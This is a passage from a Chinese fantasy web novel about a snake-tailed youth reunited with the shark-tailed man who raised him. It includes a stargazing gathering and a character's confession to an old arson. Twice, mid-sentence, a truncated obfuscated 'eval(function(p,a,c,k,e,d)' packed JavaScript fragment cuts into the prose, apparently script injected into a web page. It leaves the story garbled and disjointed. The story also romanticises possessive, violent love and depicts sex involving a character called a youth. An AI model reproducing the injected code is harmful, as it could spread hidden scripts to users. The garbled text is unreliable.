我破壳那天,天地间满是潮湿的青草味。蛋壳碎成几片,裹着黏液,我费力地扭了扭身子,鳞片还带着未干的湿意,在晨光下泛着嫩翠的光。脑袋只有指甲盖大,视物模糊,却本能地朝着热源爬去。 绕过一丛颤动的草叶,我看见一个人。 他靠在湖边的青石上,下半截身子浸在水里。水波晃动,银蓝色的鳞片在水下若隐若现,尾鳍轻轻扫过石面,带起细碎的水声。他的皮肤是冷白色的,头发也是很长很白的披散下来。 我从未见过这样的生物。他的身上身上带着海的气息,却又栖身于淡水湖畔。 本能驱使我靠近,蛇信子吐出,尝到空气里淡淡的血腥味——不是猎物的腥,而是一种干净的、带着海盐余韵的血气,勾得我小小的心脏怦怦直跳。 我想咬他。 这个念头冒出来时,我已经爬过了最后一丛草。身体费力扒着石头边缘,正要往上蹭,突然一只手罩下来,快得像道影子。 掌心很暖,带着干燥的触感。我被攥在手里,本能地扭动身体,冰凉的鳞片擦过他的皮肤,换来一声低沉的笑。 “胆子倒是不小。” 声音很低,像浸在水里的玉石,闷闷的,却奇怪地让我安定。 我昂起头,看见他垂着眼看我,睫毛很长,在眼下投出一小片阴影。 他说:“再动,就把你抓回去泡酒。” 泡酒是什么?我不知道。但我听懂了他语气里的威胁——那是一种虚张声势的恐吓,像老猫逗弄幼鼠。 我反而不动了,只睁着黑曜石似的眼睛看他。 他的眼睛很深,像望不见底的海,里面映着我的小小身影。 后来我知道,他叫江知烨。 他把我揣进怀里,衣襟的布料磨得我鳞片发痒,却又透着他身上的气息,一种让我安心的味道。 回到那个叫“江府”的地方,他找了个陶罐,铺了柔软的干草,又送来剁碎的生鱼肉。 我怕生,躲在草堆里不肯出来,只在他离开后,才偷偷舔食那些带着腥味的肉糜。 他每天都会把我捧在手心。他的手指很长,指腹有些薄茧,蹭过我鳞片时,有种奇异的舒适感。 我渐渐不再怕他,甚至会用脑袋蹭他的指尖。 夜里他看书,我就盘在砚台边,看他握着毛笔的手,看他偶尔蹙起的眉头。有时他睡着了,我会悄悄爬到他枕边,窝成个小团,听着他平稳的呼吸声,觉得那是世上最安全的地方。 化形那天来得很突然。 我只记得睡得很沉,身体里像有什么东西在燃烧,疼得我蜷缩起来。 等意识清醒时,我发现自己变了,手脚都是软乎乎的,而下半身还是那条熟悉的翠绿蛇尾。 我害怕地哭起来,哭声响亮又委屈,直到一双温暖的手把我捧起。 是江知烨。 他眼里的震惊和无措,我至今还记得。 他小心翼翼地碰我的脸,指尖颤抖,然后跑去找了那个叫乳娘的人。后来,他用针扎破自己的手指,把血送到我嘴边。 血腥味在舌尖弥漫开,比任何生鱼肉都要甘甜。我贪婪地吮吸着,感觉到一股暖流涌进身体,和他的气息紧紧缠绕在一起。那一刻,我知道,这个人,是我的依靠。 他叫我“小家伙”。 我不会说话,只能用咿咿呀呀的声音回应。 但我知道,当我喊出“哥哥”时,他眼里的光会变得很亮,像落满了星星。他会把我抱得更紧,下巴抵在我头顶,轻轻叹气。 我喜欢趴在他的鲨鱼尾上。银蓝色的鳞片冰凉光滑,在水里摆动时,带起一圈圈涟漪。我咯咯地笑,小手去摸他的尾鳍,他会低头看我,嘴角扬起我从未见过的温柔弧度。那时的阳光总是很好,洒在我们身上,暖洋洋的,像一场不会醒的梦。 变故发生在一个寻常的清晨。 我被很多陌生的气息惊醒。那些人身上都带着和我相似的蛇鳞气息,却又更加浓烈、冰冷,带着压迫感。为首的男人很高大,面容威严,他看我的眼神复杂,像在看一件失而复得的珍宝,而非一个活生生的生命。 “这孩子,是我南疆柳家的三公子。” 他的声音很响,震得我耳朵疼。我听不懂什么“柳家”,什么“三公子”,我只知道,他们要把我从哥哥身边带走。 江知烨冲上来想抢回我,却被那些人拦住。我看见他和一个男人争执,那个男人后来打了他一巴掌。哥哥的脸侧红了一片,眼神里的绝望和愤怒,像针一样扎进我心里。 “哥哥!哥哥!”我拼命哭喊,伸出小手想抓住他,却被那个为首的男人抱得更紧。他的手臂像铁钳,勒得我喘不过气。 车子驶离江府时,我最后看了一眼哥哥。他站在原地,身影被夕阳拉得很长,像一尊易碎的雕像。我知道,我可能再也见不到他了。 南疆柳家,是个庞大而诡异的地方。 父亲,也就是那个带走我的男人,名叫柳崇山。 他对我很好,给我最好的衣食,请最好的先生,却从不许我离开柳府半步。 他说:“你是柳家三公子,将来要继承家业,不能像你那两个不成器的哥哥一样。” 我有两个哥哥。大哥在我来之前就自杀了,据说因为不愿被父亲控制。二哥疯了,被锁在后院的厢房里,每天只会对着墙壁哭嚎。我去看过他一次,他抓着我的手,眼神空洞地说:“逃……快逃……” 从那以后,我再也不敢去后院。 父亲的爱像一张密不透风的网。他派人时刻跟着我,我的一举一动都在他的监视之下。我学文习武,学如何管理族中事务,学如何做一个合格的“柳家三公子”。 但我最想学的,是如何回到江知烨身边。 我常常在夜里偷偷拿出一片当年蜕下的蛇鳞,那是在江府时留下的。鳞片很小,翠绿色,上面似乎还残留着哥哥手心的温度。我把它贴在胸口,想象着他现在的样子,是否还在那片湖边等我。 父亲发现过我藏鳞片,他没有骂我,只是眼神变得很冷,让下人把我房间里所有可能藏东西的地方都搜了一遍。 从那以后,我学会了伪装。我变得乖巧、懂事,对父亲言听计从,努力扮演着他期望的角色。 我的性格越来越压抑。 白天,我是那个沉默寡言、举止得体的三公子;夜里,我常常被噩梦惊醒,梦见哥哥被人打,梦见自己在黑暗中爬行,找不到出路。父亲的控制像毒药,一点点侵蚀着我的心智。 我能感觉到自己内心的某些东西在扭曲,变得和父亲越来越像,充满了偏执和不甘。 我开始偷偷打听关于南清江府的消息。柳家在江南势力庞大,眼线遍布,但关于江知烨的信息却少得可怜。只知道他后来变得狂躁,酗酒,四处寻找一个“失踪的孩子”,还曾去过南疆,却一无所获。 听到这些时,我躲在房间里哭了很久。我知道,他没有忘记我。 成年礼那天,是我唯一的机会。 柳家规矩,成年子弟可自行外出历练一月。父亲虽然多疑,但在族中长老的压力下,不得不放我离开。我几乎是逃也似的离开了南疆。 我凭着模糊的记忆,回到了南清。 那片湖还在。 绕过熟悉的芦苇,湖水清澈,四周草木繁盛,和我记忆中的样子几乎没变。只是湖边的青石上,没有那个靠坐着的身影。 我在湖边等了三天。 直到第三个晚上,月亮很圆,把湖水照得像撒了银。我听见了脚步声,带着踉跄和酒气。 是他。 江知烨。 他比我记忆中高了很多,身形也更挺拔,只是脸色苍白,眼下有淡淡的青黑,眼神里满是疲惫和茫然。他拎着一坛酒,走到湖边,褪去衣物,走进水里。双腿化作银蓝色的鲨鱼尾,和当年一样,只是尾鳍上似乎多了几道不易察觉的伤痕。 他喝醉了,靠在石头上喃喃自语,声音沙哑:“小家伙……你到底在哪里……” 我的心脏像被什么东西狠狠攥住,疼得无法呼吸。我躲在芦苇丛里,看着他单薄的背影,看着他仰头灌酒时滚动的喉结,眼泪不受控制地掉下来。 这么多年了,他还在找我。 我想冲出去,想告诉他我在这里,想抱住他说“哥哥,我回来了”。但我不能。父亲的眼线无处不在,我不能给他带来危险。 犹豫间,他似乎察觉到了什么,费力地睁开眼。我连忙缩回芦苇丛,心脏狂跳。他的视线扫过湖面,带着醉意的模糊,最终落在我藏身的方向,却又缓缓移开,像是在看一个幻觉。 他太累了,也太痛了。 我看着他靠在石头上渐渐睡去,月光洒在他身上,勾勒出清瘦的轮廓。鬼使神差地,我滑入水中,向他靠近。 水很凉,却比不上我此刻的心情。我靠近他,看到他锁骨处那两颗并排的深褐色小痣。我的呼吸一滞——那是当年我咬出来的牙印,他竟然用纹身的方式留了下来。 指尖轻轻碰上去,触感粗糙,是纹身特有的结痂感。他动了一下,似乎想说什么,却只是发出模糊的呓语。我俯下身,将自己的蛇尾轻轻缠上他的鲨鱼尾。 冰凉的鳞片相贴,一股熟悉的气息瞬间包裹了我。这是哥哥的味道,是我刻在灵魂里的印记。我闭上眼,感受着他尾鳍的轻微摆动,感受着他身上淡淡的酒气和血腥味,眼泪无声地滴入水中。 对不起,哥哥。 对不起,让你等了这么久。 后脖颈的鳞片是保护蛇族最脆弱的地方,很敏感,但也是动情的证明——身体轻颤紧绷时,蛇鳞会慢慢松动分泌出一种让人兴奋的气味。 那晚很疯狂,少年的身体承受不了成年男人的索取,我疼的直掉眼泪,鲜血滴在身下的外衫像梅花一样,可是哥哥会一遍一遍亲吻我,刺激着我紧紧缠住他。 我怕他离开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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我那时候很生气,就失控打了他,我很难过,以至于我说了很多难听话,我的哥哥不再是那个会抱着我的人,他变了。 可即便如此,看着他近在咫尺的脸,我心里还是忍不住泛起一丝涟漪——至少,我们有了交集。 也许,这就是命运吧。 兜兜转转,我们还是走到了一起,却以这样一种方式。 而我,也终于读懂父亲眼中那团浑浊的火焰——当他把二哥锁进爬满青苔的厢房时,当他用银链穿起大哥自杀前咬碎的毒牙时,那不是恨,是蛇类独有的占有欲在血管里蜕皮。 就像我当年摩挲着袖中那片褪鳞,鳞片边缘还留着当年他指腹的温度,这温度让我想起青石湖边他把我揣进衣襟的清晨,那时我还不懂,所谓扭曲的爱,不过是生物本能的另一种写法。 金子要锁进暗格里听它生锈的声音,而我的宝物该用什么封存? 是酒楼二楼那扇永远为他敞开的雕花木窗,还是每次争吵时故意扇在他脸上的手掌——那掌印落下的瞬间,他错愕的眼神转变到兴奋,多像当年被我咬住锁骨时的模样。 蛇类的浪漫从不需要语言,那芦苇荡里交缠的尾鳍,银蓝与翠绿在月光下织成密不透风的网,每一片鳞片的开合都是无声的宣誓:我的。 现在我常对着铜镜看自己的蛇尾,鳞片在烛火下泛着油亮的光,像父亲收藏的那些浸在酒坛里的毒蛇。 原来爱到极致是要把对方勒进自己的骨血里,就像我曾在那片湖泊用尾尖勾住他,感受他鲨鱼尾的每一次颤抖都顺着水流撞进我心脏;就像我在账本上画下他的名字,笔尖刺破宣纸的力道,多像当年他在锁骨处纹下两颗假痣时,让墨汁渗进皮肉的决心。 猎物挣扎时,蛇信子会兴奋地吞吐;伴侣想逃时,蛇尾会缠得更紧。我在“花月满人间”的后厨藏了坛酒,坛口封着他醉酒时落下的发带,酒香混着他身上的海盐味,像极了那年他威胁要把我泡酒的语气——那时我不懂,那其实是所有占有者最温柔的告白。 你看这世道多有趣:父亲用铁链锁疯了二哥,我只有一个眼神就困住了他,而他用两百年的寻找,把我锁进了他永远醒不来的梦里。 当我在深夜抚摸他留在账本上的指痕,突然明白蛇类为什么总在蜕皮——那是旧的占有欲在腐烂,新的偏执正在重生,就像我每次看见他走进店门时,尾尖在桌下不受控制的颤动,那是千万次想把他缠进怀里的本能,在锦缎长衫下发出嘶嘶的声响。 金子会在暗格里长出绿锈,而我的宝物该在怎样的容器里不朽? 或许该学父亲把大哥的毒牙穿成项链,或许该用他醉酒时染血的外衫做裹尸布,又或许,就该像现在这样,在他每次转身离开时,让蛇尾扫过他的鞋跟,留下只有我们懂的鳞粉密码——那是比任何情话都更滚烫的咒语:留下来,别想逃,你是我的。 67. 誓言里的红丝线 当柳漠澜眼尾泛红的呓语撞碎在江知烨锁骨的痣上时,江知烨听见自己胸腔里有什么东西轰然坍塌——不是雪线崩塌的闷响,而是亿万年前岩浆冲破地壳的嘶吼。 他曾用两百年光阴在记忆里筑墙,把那声“哥哥”砌进湖底最深处,此刻却被这少年舌尖的温度烫穿,所有克制都化作指尖颤抖的掠夺。 唇瓣碾过对方眼睑时,尝到咸涩的星子;吻过喉结时,触到脉搏与他同频的狂跳。 那截系着银铃的红绳在他掌心叮铃作响,绳结处此刻却像道朱砂烙,烫得他指腹发颤。 江知烨想起望潮镇的老渔民说过,鲨鱼嗅到血腥味会失控,原来人在失而复得时,心跳声能震碎整片海。 指腹摩挲过脚腕红绳的纹路,像在抚摸一封迟到多年的信。 花朵在他指尖绽开,水声混着对方气音,此刻他不再是那个在湖边醉酒的孤魂,而是捧着失而复得的珍宝,用唇舌在对方每寸肌肤上刻下“我的”二字,笔画是颤抖的呼吸,墨色是两百年未干的血泪。 他像个在荒墟上犁开沟壑的农人,用体温融化冻土。 干涩的土地终于渗出第一滴濡湿,朱樱皓贝缠绵间溢出破碎的真名。 那片被荒芜覆盖的心田上,正以肉眼可见的速度,疯长出缟朱般地鲜花。 而每片花瓣都在呢喃:原来等待的尽头,是你把我种进自己的骨血里——从此生根发芽,永不分离。 迷乱中搂住的后颈,喊出那声迟来的“哥哥”。 江知烨感觉自己化作了望潮镇的潮水,瞬间淹没了所有时光断层。 他吻过对方眼角的泪痣,顶碎呢喃地呜咽,舔过红绳勒出的浅痕,那是岁月打在他们身上的邮戳。 此刻荒田已成沃土,每寸肌肤的开合都在绽放花朵,而江知烨是那个终于等到丰收的农人,在自己亲手开垦的花田里,吻遍了所有失而复得的星子。 ............ 自从族长不再催促江知烨关于族中成亲的决断,几人便索性在这海边多盘桓了几日。 阳光、海浪与挚友相伴的时光,本就该像晒在礁石上的渔网,任由时光将其铺展成最惬意的形状。 这日傍晚,江知烨拍着巴掌把众人聚在临时歇脚的木屋前,眼里映着夕阳的金辉,带着几分神秘的笑意:“哥儿几个,妙儿,今晚跟我走,带你们去个好地方。” 方妙正往安德鲁手里塞刚烤好的鱼干,闻言立刻扬起眉:“知烨又发现什么宝贝地儿了?莫不是藏了什么好吃的?” “比好吃的还好。”江知烨爽朗地笑,拍了拍柳漠澜的肩,“阿澜,跟我走就知道了。” 顾时夜勾住顾夜白的脖子,冲江知烨挤眼:“江大人,可别带我们去摸黑钻林子,前儿个你说的‘好地方’可是让我跟小白踩了一脚泥。” “去你的,”江知烨笑骂一声,“今儿这地儿,保准你们看了不后悔。” 于是,七个人借着渐浓的暮色,沿着一条隐在礁石后的小径往高处走。 海风裹挟着咸湿的气息,吹得方妙的发带轻轻扬起,安德鲁伸手替她拢了拢,低声道:“慢些走,石头滑。”方妙回他一个甜甜的笑,步子却更轻快了。 柳漠澜走在江知烨身侧,月光透过稀疏的枝叶洒在他清俊的侧脸上,声音温柔:“知烨,是哪里?” “到了就知道了。”江知烨卖着关子,脚下却加快了步伐。 绕过最后一丛灌木,眼前豁然开朗。那是一片平坦的高地,像是被大海与星空共同托起的一块璞玉。 极目望去,一侧是墨蓝的大海,波涛在月光下泛着粼粼银光,仿佛无数碎钻撒在丝绒上;另一侧则是辽阔的夜空,星子密得像是能随手摘下一把,银河横亘其间,璀璨得让人屏住呼吸。 “哇——”方妙率先发出惊叹,忍不住跑到高地边缘,张开双臂,“知烨,这地方也太好了吧!能看到海,还能看到这么多星星!” 顾时夜和顾夜白已经兴奋地在草地上打了个滚,顾时夜仰着头感叹:“我的天,江大人,你怎么找到这地方的?跟做梦似的!” 安德鲁走到江知烨身边,看着眼前的景象,也难得露出几分赞叹:“知烨,确实是个好地方。” 江知烨得意地挑眉,拉着柳漠澜在一块平整的石头上坐下:“前儿个我睡不着出来晃悠,无意间爬上来的。想着带你们来看看。” 七个人或坐或躺,散落在高地之上。沉默了片刻,还是方妙先打破了宁静,她抱着膝盖,看着远处的海平面:“说起来,万萨节一过,感觉好多事都不一样了。族长也不催知烨了,真好。”7 “是啊,”江知烨伸了个懒腰,“之前总觉得族里的事压得喘不过气,现在突然松快了,倒有点不习惯。” “不习惯就多玩几天,”顾夜白凑过来,笑眯眯地说,“江大人,以后咱们是不是能常来海边玩?我跟哥还想跟你学怎么撒网呢!” “没问题,”江知烨爽快应下,“想学什么哥都教你们。” 话题就这么打开了,从万萨节的趣闻到各自家乡的风俗,从海上的奇闻异事到陆地上的趣闻传说。聊到兴起时,方妙忽然眼睛一亮,拉住身边的安德鲁,笑得狡黠:“安德鲁,咱们来玩个游戏吧!” 安德鲁挑眉:“什么游戏?” “就……就拜堂成亲啊!”方妙脸颊微红,却大胆地说出来,“反正这儿也没别人,就当提前演练了!” 顾时夜和顾夜白立刻起哄:“好啊好啊!妙儿姐跟安大人拜堂!” 安德鲁有些无奈地看了看方妙,眼底却盛满了温柔的笑意:“胡闹。” “哎呀,就玩一下嘛!”方妙摇着他的胳膊,“知烨,阿澜哥,你们给我们当证婚人!” 江知烨哈哈大笑:“行啊!我跟阿澜给你们主持!” 柳漠澜也忍不住弯了弯嘴角,温和地看着他们。 于是,在星光与海浪的见证下,方妙拉着还有些不自在的安德鲁,有模有样地拜了“天地”。 顾时夜和顾夜白在一旁充当“司仪”,怪声怪调地喊着“一拜天地——二拜高堂——夫妻对拜——”方妙笑得上气不接下气,安德鲁虽然无奈,却也配合地完成了这场“闹剧”。 “礼成!送入洞房——”顾时夜喊完,自己先笑得滚到了顾夜白身上。 大家都被这突如其来的“拜堂”逗得直笑,方妙更是笑弯了腰,靠在安德鲁肩上直喘气。安德鲁无奈地揉了揉她的头发,眼里满是宠溺。 就在这时,一道明亮的光痕划破夜空,拖着长长的尾巴坠入海的那边。 “流星!”顾夜白率先反应过来,激动地喊道,“快看,是流星!” “快许愿快许愿!”方妙也立刻坐直身子,闭上眼睛,双手合十。 所有人都急忙闭上眼睛,在心里默默许下愿望。 江知烨率先许完愿,睁开眼,看到顾时夜和顾夜白还闭着眼,脸上带着虔诚的表情,便笑着问:“时夜,小白,你们许了什么愿啊?” 顾时夜和顾夜白同时睁开眼,对视一眼,异口同声地说:“我们希望能永远和彼此在一起,不分开!” “傻小子,”江知烨笑着摇头,“愿望说出来就不灵了。” 安德鲁也跟着打趣:“就是,没听说过愿望说出来就不灵了吗?” 顾时夜和顾夜白顿时傻眼了,顾夜白小声嘀咕:“啊?那怎么办?” 方妙见状,立刻挺身而出,大大方方地说:“哎呀,说出来就说出来了,我的愿望就是希望我们大家能一直在一起,永远快快乐乐,无忧无虑!这有什么不灵的,心诚则灵嘛!” 她的话像一股暖流,瞬间熨帖了顾时夜兄弟俩的心。 顾时夜嘿嘿一笑:“还是妙儿姐厉害!” 江知烨看向一直安静坐着的白鸽,柔声问:“白鸽,你呢?许了什么愿望?” 白鸽抬起头,月光落在他安静的脸上,他张了张嘴,发出沙哑低沉的声音,:“我……没想好。” 他的声音很轻,带着一丝不易察觉的涩意。大家也没再多问,知道白鸽性子本就沉默,便不再追问。 流星划过的余韵渐渐散去,喧闹的笑闹也慢慢沉淀成静谧的温馨。 不知是谁先提议,七个人索性并排躺在柔软的草地上,头枕着双臂,望着头顶那片仿佛触手可及的星空。 草叶的清香混着海风的咸湿,萦绕在鼻尖,让人感到前所未有的放松。 “你们说,”方妙的声音打破了沉默,带着一丝梦幻般的语气,“海的那边是什么样的?是不是也有像我们这样的人,在看着同一片星星?” 安德鲁侧过头,看着她仰着的小脸,星光落在她眼中,比任何宝石都要璀璨:“或许吧。听说海的那边有连绵的山脉,有茂密的森林,还有不同的兽族部落。” “哇,”顾夜白立刻来了兴趣,“安大人,你去过海的那边吗?” “我小时候跟着船队去过一次,”安德鲁的声音沉稳而温和,“山脉是真的,森林也很茂密,很神奇。” 柳漠澜的声音从另一侧传来,温柔得像夜风:“我小时候听族里的老人说,海的尽头连接着天空,星星就是从那里掉下来的。” “阿澜哥,你说的是真的吗?”方妙好奇地问,“那星星掉下来会变成什么?” “或许……会变成海里的珍珠吧。”柳漠澜轻声说,“所以每次看到流星,渔民们都会出海找珍珠,说那是星星的馈赠。” “原来是这样!”顾时夜恍然大悟,“怪不得万萨节的时候,族长会让人去海里采珍珠献祭,原来是求星星保佑啊!” “差不多是这个意思吧。”江知烨接口道,“我们海族,本就与海和星辰相依为命。” 话题不知不觉转到了各自的族人和家乡。江知烨讲起自己小时候如何在父亲的严厉教导下学习海族的规矩,如何偷偷跟着老渔民出海,结果晕船晕得七荤八素,惹得大家一阵哄笑。 “知烨,你也有晕船的时候啊?”方妙捂着嘴笑,“我还以为你什么都不怕呢!” “谁小时候没点糗事啊,”江知烨无奈地耸耸肩。 安德鲁也分享了自己作为商船护卫队长的一些经历,比如遇到过凶猛的海兽,如何带领队员化险为夷,听得顾时夜和顾夜白两眼放光,直喊着以后也要像安德鲁一样威风。 “安大人,你遇到过海怪吗?”顾夜白迫不及待地问。 “海怪?”安德鲁想了想,“应该是没有。不过倒是遇到过一种会发光的巨型章鱼,触手展开能遮住半条船,眼睛像灯笼一样亮。那时候确实吓了一跳。” “哇……”顾时夜和顾夜白同时发出惊叹,满脸向往。 说着说着,话题又回到了未来。 “等我和阿澜成了亲,”江知烨忽然开口,声音里带着对未来的憧憬,“我想把族里的渔港好好整顿一下,建一个更大的码头,这样商船就能停靠更多,族里的人也能多换些东西回来。” 柳漠澜闻言耳尖立刻泛红,“谁和你成亲了!”犹豫片刻,他又补了一句,“不过……我支持你。到时候我帮你一起规划。” “知烨,你要是建码头,可别忘了我们啊!”顾时夜立刻喊道,“我跟小白可以帮你干活!” “好啊,”江知烨笑着应下,“到时候少不了你们的活儿。” 安德鲁也说道:“如果需要商船往来运输物资,我可以帮忙联系。” “还有我还有我!”方妙举起手,“我可以给你们做后勤,保证让大家吃得饱饱的,有力气干活!” 大家你一言我一语,描绘着未来的蓝图,仿佛那个美好的景象已经近在眼前。 这时,一直安静躺着的白鸽忽然动了动,:“其实……” 大家都看向他。江知烨柔声问:“白鸽,你想说什么?” 白鸽沉默了一会儿,才继续又用那沙哑的声音说:“我可以……修船……” 他的话很短,似乎还带着不自信,但大家都听懂了。方妙立刻笑着说:“对呀!白鸽的修船手艺那么好,到时候码头建好了,修船的活儿就交给你了!” 白鸽微微点了点头,嘴角似乎也勾起了一抹极淡的笑意。 看着白鸽难得的回应,大家都觉得心里暖暖的。顾夜白忽然凑近顾时夜,小声说:“哥,你说我们以后要不要也弄条船,跟着安大人跑商?这样就能去好多地方了!” 顾时夜眼睛一亮:“好啊!不过我们得先跟江大人学好本事,不然连船都上不了。” “嗯!”顾夜白用力点头。 安德鲁听到了他们的嘀咕,笑着说:“如果你们真的想跑商,随时可以来找我,我教你们。” “太好了!安大人!”顾时夜和顾夜白兴奋地差点跳起来。 夜渐渐深了,星子却越发明亮。 海风带着一丝凉意吹过,方妙忍不住往安德鲁身边靠了靠,安德鲁立刻脱下自己的外衫,轻轻披在她肩上。 “冷了?” “有一点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“对!”方妙眼睛一亮,“白鸽说得对!星星和大海永远在一起,我们也永远在一起!” 大家都被白鸽的话感动了。江知烨看着白鸽,心中忽然涌起一个疑问,他犹豫了一下,还是开口问道:“白鸽,你的嗓子……是怎么回事?如果不方便说就算了。” 这个问题其实除了安德鲁大家都好奇很久了,但因为白鸽性子沉默,又不愿意多说,所以一直没人敢问。 今天气氛正好,江知烨才忍不住问了出来。 白鸽听到这个问题,身体微微一僵,眼神也变得有些黯淡。 他沉默了很久,久到大家都以为他不会回答了,才缓缓地开口,声音比刚才更加沙哑,带着一丝难以察觉的痛楚:“……小时候……一场大火” 他没有细说,但大家都明白了。 方妙心里一酸,轻声说:“对不起,白鸽,我们不该问的。” 白鸽摇摇头,用那双清澈的眼睛看了看大家,然后轻轻吐出两个字:“没事” 安德鲁拍了拍江知烨的肩膀,示意他不要再问了。江知烨点点头,心里有些愧疚,但更多的是对白鸽的心疼。 为了打破这略显沉重的气氛,顾时夜忽然坐起来,大声说:“哎呀,不说这些不开心的了!我们来玩个游戏吧!” “什么游戏?”顾夜白也来了精神。 “就是……每人说一个自己的小秘密,或者未来的梦想,怎么样?”顾时夜提议道,“就当是我们之间的约定!” “好啊!”方妙立刻响应,“这个主意不错!” 安德鲁和柳漠澜也表示赞同。江知烨看了看大家,笑着说:“行,那就从我开始吧。我的小秘密就是……其实我小时候特别怕黑。” “哈哈哈!”顾时夜和顾夜白立刻笑了起来,“江大人,你居然怕黑!” “好了好了,轮到我了!”方妙迫不及待地说,“我的梦想就是开一家全世界最棒的点心铺,里面有各种各样的点心,让所有人都能吃到我做的点心!” “这个梦想好!”江知烨鼓掌,“到时候我一定天天去捧场!” 安德鲁也笑着说:“我也去,把你的点心都买下来。” 接下来轮到安德鲁,他想了想,说:“我的小秘密是……其实我第一次见到妙儿的时候,就觉得她很特别,心里想着,这个姑娘真活泼,要是能一直在一起就好了。” 方妙的脸“唰”地一下红了,轻轻捶了他一下:“安德鲁!你怎么突然说这个!” 大家都笑着起哄,顾时夜喊着:“安大人,够深情啊!” 安德鲁只是温柔地看着方妙,笑而不语。 柳漠澜想了想,轻声说:“我的梦想是希望知烨能实现他的抱负,然后我能一直陪在他身边,支持他。” 江知烨握住他的手,用力点了点头:“嗯,我们一起。” 顾时夜和顾夜白也分享了他们的小秘密和梦想。 顾时夜说他以前总是偷偷带着顾夜白偷溜出去不练功,结果被狠狠训了一顿;顾夜白说他的梦想是成为一名出色的水手,像安德鲁一样环游世界。 最后轮到白鸽。大家都安静下来,看着他。白鸽沉默了一会儿,抬起头,望着星空,轻轻地说出了自己的梦想:“我想……能被更多人关注……” 他的愿望很简单,却让所有人都沉默了。 因为大家都知道,他的嗓子哑了,总是默不作声,存在感很低。 方妙的眼睛湿润了,轻轻说:“白鸽,我们是家人,你不需要去为了别人的关注而勉强自己。” 顾时夜和顾夜白也用力点头:“嗯!我们一家人!” 白鸽抬起头,用力地点了点头。 夜更深了,海浪声似乎也变得温柔起来。七个人紧紧地靠在一起,仿佛这样就能抵御世间所有的风雨。 他们聊了很多很多,从童年的趣事到未来的憧憬,从心底的秘密到彼此的约定。 不知过了多久,顾时夜和顾夜白已经靠在一起睡着了,发出轻微的鼾声。方妙也有些犯困,靠在安德鲁的肩上,迷迷糊糊地说:“安德鲁,这里真好,我们以后还来好不好?” “好,”安德鲁轻轻拍着她的背,声音温柔,“以后我们常来。” 江知烨看了看身边的柳漠澜,轻声说:“阿澜,你说,我们会一直这样吗?” 柳漠澜握住他的手,点了点头:“会的,知烨。只要我们在一起,就会一直这样。” 白鸽没有睡着,只是静静地躺着,望着星空。 那晚他想了很多。 当星野为穹庐,沧海作玉阶,七颗心脉在海风里共振成永恒的诗行。 原来乌托邦从不是传说中的城邦,而是挚友肩并肩时,海平线把晨昏拉成无限长的刹那——没有纷争的晨光永远停在睫毛,连沉默都盛着满杯星光。 68. 灼心录 方妙站在都察院朱漆门前,门房见是她,惯常要笑出朵花来,她却只淡淡颔首。 安德鲁的书房飘来松烟墨香。那人正对着案头《南清刑律》批注,听见脚步声便抬头,眼角微弯:"妙儿来了啊,抱歉刚回来就赶着处理事务没时间陪你,你怎么了?"案上茶盏还冒着热气,显然是刚斟的碧螺春。 方妙有点喉间发紧,她往前走两步,忽然开口:"安德鲁,我有事要告诉你。" 那晚的观星,白鸽的话还是让她思考了很久,她不是一个喜欢谈论自己过去的人,可此时她决定说出来,哪怕会失去一切。 闻言安德鲁搁下狼毫,起身将她按在圈椅里,指尖触到对方冰凉的手腕:"先喝口茶暖暖,慢慢说。" 青瓷杯沿还带着对方的体温,方妙却觉得那温度灼人,鬼使神差地将杯子推远。 回忆如破冰的河水漫上来—— 方妙跟着猎队回到黑松镇时,晚霞正将镇子染成血色。她混在人群里往车马店走,路过林家大宅时,心底忽然发痒——那是流浪养成的直觉,总在有财物可图时作祟。 围墙下的稻草堆还留着雪水,方妙撩起粗布裙角翻墙而入。 后宅寂静,她贴着游廊走,指尖抚过廊柱上的缠枝雕花,忽然在西厢房窗下停住。窗缝里漏出暖黄的烛光,案头摆着半块未吃完的茯苓糕,银碟旁搁着串羊脂玉手串。 她推窗的手刚伸进去,身后突然响起孩童的声音:"姐姐在找什么?" 方妙转身时已换上怯生生的笑,却在看清来人时指尖微颤——正是那日施粥的林家小公子,此刻只穿着月白中衣,黑发用锦带松松束着。 "我......"她垂下眼睫,盯着对方脚边绣着莲蓬的棉鞋,"路过贵府,想讨口水喝。" 小公子却走过来,从案头捧起个青瓷罐:"母亲说喝凉水伤胃,姐姐喝些温汤吧。" 罐口掀开时飘来百合清香,但方妙的注意力全在案头上的银饰上。 "谢谢小公子。"她接过汤盏,余光瞥见窗外暗影里巡夜的灯笼,忽然伸手碰落桌上的笔洗。 青瓷碎裂声里,她迅速扯下银锁塞进袖中,再抬眼时已红了眼眶,"不小心打碎了东西,实在对不住......" "无妨,"小公子蹲下身捡碎片,没有半分怀疑,"姐姐快些走吧,夜里宅门要落锁了。" 方妙转身时,眼里却闪过阴狠,她知道今晚被看到了,明早只要有人发现东西丢了,自己肯定会暴露,索性一不做二不休—— 她沿着原路摸到柴房,怀里的银锁硌得肋骨生疼。柴房角落堆着晒干的稻草,夜风从窗缝里钻进来,卷着草屑扑在脸上。 方妙摸出怀里的火石,火星溅在稻草上的瞬间,方妙只是随意地擦了擦手。 “我只是为了活着——”翻出围墙时,天边的晚霞并没有变化。方妙有些疑惑,回头看天才惊恐发现——苍莽山的半边山正在燃烧! 火势起来得比预想中快。方妙看着火苗舔舐着屋檐,忽然听见远处有人喊"走水了"。 她下意识转身混入救火的人群,指尖还沾着未熄的草灰,身后的林家大宅在火光里渐渐模糊,像她千年来无数个被烧尽的夜晚。 "其实那时山火还小,"方妙盯着安德鲁案头的烛火,声音轻得像飘在水上的萍,"是我放的那把火......让两股火汇在一起,但大家都以为是山火蔓延,从未想过为什么先是林家宅子先烧起来......” “我以为那些人全死了,却没想到唯独那孩子没死,而且他就是白鸽......我永远不会忘记他的样子,尤其是他那额头上的朱砂痣。” 安德鲁没有说话,只是起身将少女轻轻拥进怀里。 方妙闭上眼,闻到对方领口残留的皂角香,内心思绪万千,她不知道迎接自己的会是什么,可白鸽是她的家人,她不能再骗下去了,至少,要说给自己信任的人,祈求一点内心慰籍。 